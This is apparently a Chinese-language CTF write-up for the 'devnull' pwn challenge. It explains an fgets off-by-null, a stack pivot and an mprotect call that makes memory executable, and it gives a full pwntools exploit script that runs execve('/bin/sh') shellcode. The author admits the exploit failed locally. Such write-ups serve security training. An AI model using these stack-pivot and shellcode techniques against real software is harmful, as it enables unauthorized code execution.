题目
题目链接
vmmap

0x3fe000 处为 rw
之后 0x404000 会变成只读
IDA
main

vuln

fgets 最多读取 n-1 个字节,最后一个字节会被设置为 \x00
有关于 fgets 的 off_by_null ,可将 fd 设置为 0 ,为标准输入流的文件描述符,从而启用下方的 read
close(1) 会关闭标准输出流,之后不会有回显,但标准错误流还在
mywrite

mprotect

设置 0x404000 为只读
关于 mprotect 有一个坑:其地址必须对齐 0x1000
gadget

用于操纵 rax
攻击思路
栈迁移难度不高
考虑用 mprotect 开 rwx 区域用于写入 shellcode ,但这需要将 rdx 设置为 7 ,这一点利用 mywrite("Thanks\n"); 刚好可以实现
然后利用 gadget 操纵 rax 以间接操纵 rdi 即可完成 mprotect 的调用(注意对齐 0x1000),然后写入 shellcode 即可
吐槽
tnnd 为什么不给 libc 版本,,,本地调试的时候 close 把我的 rdx 吃掉了,没办法在设置为 7 的情形下进入 mprotect ,所以这题我本地过不了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import *
context.log_level = 'debug' context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h']
debug = 1
if debug: io = process('./devnull') else: io = remote('node4.anna.nssctf.cn', 26863)
mprotect_addr = 0x4012D0 rw_addr = 0x3ff000 - 0x18 leave_ret = 0x401511 mov_rax_rbp__0x18 = 0x401350
def attack(): payload = b'A' * 0x20 gdb.attach(io) io.sendafter(b'filename\n', payload) payload = b'A' * 0x14 + p64(rw_addr) + p64(rw_addr) + p64(leave_ret) io.sendafter(b'discard\n', payload) shellcode = f'push 59; pop rax; push {hex(rw_addr + 0x10)}; pop rdi; push 0; pop rsi; push 0; pop rdx; syscall;' payload = p64(rw_addr + 0x18) + p64(mov_rax_rbp__0x18) + b'/bin/sh\x00' + p64(rw_addr) + p64(mprotect_addr) + p64(rw_addr) + p64(rw_addr + 0x38) + asm(shellcode) io.sendafter(b'data\n', payload.ljust(0x60, b'\x00')) io.interactive()
attack()
|
最后记得用 cat flag >&2 读取 flag ,因为标准输出流被关了,我们需要用管道将输出发送到标准错误流